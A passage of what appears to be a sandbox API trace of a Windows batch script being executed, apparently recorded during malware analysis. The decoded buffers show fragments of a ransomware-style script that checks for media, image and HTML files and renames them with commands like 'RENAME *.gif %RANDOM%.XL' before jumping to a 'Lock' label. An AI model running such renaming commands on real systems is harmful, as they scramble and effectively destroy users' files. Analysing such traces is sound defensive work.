[0039.885] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=847, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0039.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp4 goto Ran\r\n") returned 2 [0039.885] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0039.885] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.885] GetFileType (hFile=0x74) returned 0x1 [0039.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0039.885] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0039.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto Ran\r\n") returned 29 [0039.885] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0039.885] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.885] GetFileType (hFile=0x74) returned 0x1 [0039.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0039.886] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=878, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0039.886] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp3 goto Ran\r\n") returned 2 [0039.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0039.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.886] GetFileType (hFile=0x74) returned 0x1 [0039.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0039.886] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=907, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0039.886] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto Ran\r\n") returned 29 [0039.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0039.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.886] GetFileType (hFile=0x74) returned 0x1 [0039.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0039.886] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0039.887] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.wav goto Ran\r\n") returned 2 [0039.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0039.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.887] GetFileType (hFile=0x74) returned 0x1 [0039.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0039.887] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0039.887] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto Ran\r\n") returned 29 [0039.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0039.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.887] GetFileType (hFile=0x74) returned 0x1 [0039.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0039.887] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0039.888] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.jpg goto Ran\r\n") returned 2 [0039.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0039.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.888] GetFileType (hFile=0x74) returned 0x1 [0039.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0039.888] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0039.888] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto Ran\r\n") returned 29 [0039.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0039.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.888] GetFileType (hFile=0x74) returned 0x1 [0039.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0039.888] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=971, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0039.888] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.png goto Ran\r\n") returned 2 [0039.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0039.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.889] GetFileType (hFile=0x74) returned 0x1 [0039.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0039.889] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=1000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0039.889] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto Ran\r\n") returned 29 [0039.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0039.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.889] GetFileType (hFile=0x74) returned 0x1 [0039.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0039.889] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=1002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0039.889] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.htm goto Ran\r\n") returned 2 [0039.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0039.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.890] GetFileType (hFile=0x74) returned 0x1 [0039.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0039.890] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=1032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0039.890] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto Ran\r\n") returned 30 [0039.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0039.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.890] GetFileType (hFile=0x74) returned 0x1 [0039.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0039.890] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=1034, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0039.890] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.html goto Ran\r\n") returned 2 [0039.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.890] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0039.890] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.890] GetFileType (hFile=0x74) returned 0x1 [0039.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0039.891] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=1040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0039.891] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto Ran\r\n") returned 6 [0039.891] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0039.891] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.891] GetFileType (hFile=0x74) returned 0x1 [0039.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0039.891] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=1066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0039.891] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\nan\r\n") returned 26 [0039.891] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0039.891] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.891] GetFileType (hFile=0x74) returned 0x1 [0039.891] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0039.892] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0039.892] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0039.892] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0039.892] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.892] GetFileType (hFile=0x74) returned 0x1 [0039.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0039.892] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=1079, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0039.892] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0039.892] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0039.892] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.892] GetFileType (hFile=0x74) returned 0x1 [0039.892] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0039.892] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=1085, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0039.893] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0039.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0039.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.893] GetFileType (hFile=0x74) returned 0x1 [0039.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0039.893] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=1111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0039.893] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0039.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0039.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.893] GetFileType (hFile=0x74) returned 0x1 [0039.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0039.893] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=1113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0039.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0039.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0039.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.894] GetFileType (hFile=0x74) returned 0x1 [0039.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0039.894] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=1124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0039.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0039.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0039.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.894] GetFileType (hFile=0x74) returned 0x1 [0039.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0039.895] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=1130, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0039.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0039.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0039.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.895] GetFileType (hFile=0x74) returned 0x1 [0039.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0039.895] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=1132, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0039.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0039.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0039.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.896] GetFileType (hFile=0x74) returned 0x1 [0039.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0039.896] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, 